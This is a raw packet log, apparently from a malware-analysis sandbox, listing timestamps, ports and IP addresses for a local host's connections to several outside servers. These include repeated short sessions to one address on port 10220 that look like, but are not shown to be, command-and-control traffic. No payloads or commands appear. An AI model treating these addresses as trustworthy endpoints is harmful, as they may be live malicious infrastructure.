Jan 11, 2024 13:45:02.382668972 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382729053 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382772923 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382798910 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382844925 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382870913 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.382915974 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.382982016 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383027077 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383052111 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383089066 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383126974 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383166075 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383224010 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383268118 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383305073 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383352041 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383389950 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383434057 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383493900 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383538008 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383568048 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383613110 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383637905 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383682966 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383708000 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383747101 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383814096 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383862019 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383899927 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.383940935 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.383980036 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384027958 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384207010 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384258032 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384296894 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384341955 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384407043 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384449005 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384520054 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384565115 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384612083 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384653091 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384696007 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384740114 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384835005 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384880066 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.384936094 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.384975910 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.385168076 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.385215044 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.385282040 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.385325909 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.385348082 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.385390997 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.385417938 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.385462046 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.385502100 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.385545015 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.386485100 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.386540890 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.431130886 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.431283951 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592262983 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592329025 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592380047 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592432976 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592449903 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592493057 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592531919 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592571020 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592607975 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592653036 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592742920 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592786074 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592816114 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592859030 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592886925 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.592930079 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.592995882 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593044043 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593044996 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593084097 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593121052 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593169928 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593240023 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593288898 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593310118 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593358994 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593386889 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593453884 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593467951 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593511105 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593539000 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593576908 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593616962 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593660116 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593724012 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593766928 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593818903 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593862057 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593880892 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.593924999 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.593962908 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594008923 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594033003 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594073057 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594110966 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594151020 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594188929 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594228983 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594265938 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594310045 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594316006 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594357967 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594454050 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594502926 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594528913 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594569921 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594626904 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594667912 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594693899 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594732046 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594767094 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594806910 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594855070 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594897985 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.594954967 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.594996929 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595021963 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595062017 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595087051 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595166922 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595191956 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595237017 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595256090 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595297098 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595340014 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595393896 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595419884 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595463991 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595488071 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595532894 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595613956 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595669985 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.595710993 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.595752954 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.596517086 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:02.596600056 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.599864006 CET	49714	80	192.168.2.6	95.86.30.3
Jan 11, 2024 13:45:02.822809935 CET	80	49714	95.86.30.3	192.168.2.6
Jan 11, 2024 13:45:03.817246914 CET	49717	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:04.063332081 CET	80	49717	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:04.063502073 CET	49717	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:04.064266920 CET	49717	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:04.278706074 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:04.278738976 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:04.279052973 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:04.294547081 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:04.294580936 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:04.309010983 CET	80	49717	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:04.309639931 CET	49717	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:04.310265064 CET	49717	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:04.555696011 CET	80	49717	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:04.670902967 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:04.671650887 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:04.766352892 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:04.766369104 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:04.767484903 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:04.767601967 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:04.770489931 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:04.817899942 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.033052921 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.033123016 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.033129930 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:05.033157110 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.033209085 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:05.033217907 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.033252954 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:05.033265114 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.033319950 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:05.033319950 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:05.033359051 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.033421993 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:05.036818981 CET	49718	443	192.168.2.6	149.154.167.99
Jan 11, 2024 13:45:05.036835909 CET	443	49718	149.154.167.99	192.168.2.6
Jan 11, 2024 13:45:05.113162041 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:05.301963091 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:05.302073956 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:05.302588940 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:05.491161108 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:05.504931927 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:05.504976988 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:05.505115032 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:05.505115032 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:06.113780975 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:06.303366899 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:06.303527117 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:06.304244041 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:06.535074949 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:06.610702991 CET	49721	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:06.610735893 CET	49722	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:06.729279995 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:06.729557991 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:06.733577013 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:06.855793953 CET	80	49722	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:06.855890036 CET	49722	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:06.856358051 CET	49722	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:06.857172966 CET	80	49721	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:06.857270002 CET	49721	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:06.857769012 CET	49721	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:06.922642946 CET	10220	49723	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:06.922750950 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:06.939848900 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.100871086 CET	80	49722	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:07.101047993 CET	49722	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:07.101308107 CET	49722	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:07.103918076 CET	80	49721	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:07.103996992 CET	49721	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:07.104057074 CET	49721	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:07.128557920 CET	10220	49723	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:07.128829002 CET	10220	49723	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:07.128890038 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.134215117 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.136487007 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.325162888 CET	10220	49723	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:07.346627951 CET	80	49722	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:07.350490093 CET	80	49721	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:07.624017954 CET	10220	49723	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:07.624237061 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.643091917 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.643889904 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.831892967 CET	10220	49719	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:07.832022905 CET	49719	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.832632065 CET	10220	49724	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:07.832714081 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:07.853269100 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:08.041806936 CET	10220	49724	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:08.042264938 CET	10220	49724	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:08.042320967 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:08.056029081 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:08.060672045 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:08.249349117 CET	10220	49724	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:08.566055059 CET	10220	49724	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:08.566118002 CET	10220	49724	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:08.566164017 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:08.566190958 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.012016058 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.013195992 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.201998949 CET	10220	49723	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.202029943 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.202115059 CET	49723	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.202181101 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.202694893 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.280033112 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:10.280062914 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:10.280153990 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:10.297856092 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:10.297868013 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:10.391422033 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.391618967 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.391696930 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.392172098 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.394820929 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.498560905 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:10.498663902 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:10.504720926 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:10.504734039 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:10.504996061 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:10.505053043 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:10.513318062 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:10.557893991 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:10.583369970 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.904202938 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.904237986 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.904258013 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.904278040 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:10.904366016 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:10.904411077 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.005736113 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:11.005821943 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:11.005844116 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:11.005907059 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:11.005923986 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:11.005968094 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:11.005975008 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:11.006021976 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:11.006055117 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:11.006104946 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:11.006227016 CET	49726	443	192.168.2.6	172.67.139.220
Jan 11, 2024 13:45:11.006237984 CET	443	49726	172.67.139.220	192.168.2.6
Jan 11, 2024 13:45:11.030495882 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.031260967 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.219710112 CET	10220	49724	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:11.219782114 CET	49724	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.219870090 CET	10220	49728	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:11.219938040 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.225792885 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.414726973 CET	10220	49728	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:11.414896965 CET	10220	49728	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:11.414953947 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.415546894 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.419742107 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.419830084 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:11.609292030 CET	10220	49728	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:12.024065971 CET	10220	49728	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:12.024221897 CET	49728	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.195420980 CET	49732	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.387861013 CET	49734	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.441570997 CET	80	49732	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:12.441669941 CET	49732	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.446296930 CET	49732	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.483918905 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.486330986 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.636420965 CET	80	49734	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:12.636516094 CET	49734	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.636899948 CET	49734	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.674709082 CET	10220	49725	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:12.677207947 CET	49725	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.678127050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:12.678246975 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.679449081 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.694875002 CET	80	49732	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:12.695008039 CET	49732	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.695272923 CET	49732	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.867752075 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:12.867877960 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:12.867965937 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.868504047 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.883657932 CET	80	49734	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:12.883728027 CET	49734	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.883951902 CET	49734	80	192.168.2.6	196.188.169.138
Jan 11, 2024 13:45:12.936420918 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:12.941667080 CET	80	49732	196.188.169.138	192.168.2.6
Jan 11, 2024 13:45:13.099100113 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.125030041 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.125554085 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:13.125595093 CET	10220	49735	49.12.114.15	192.168.2.6
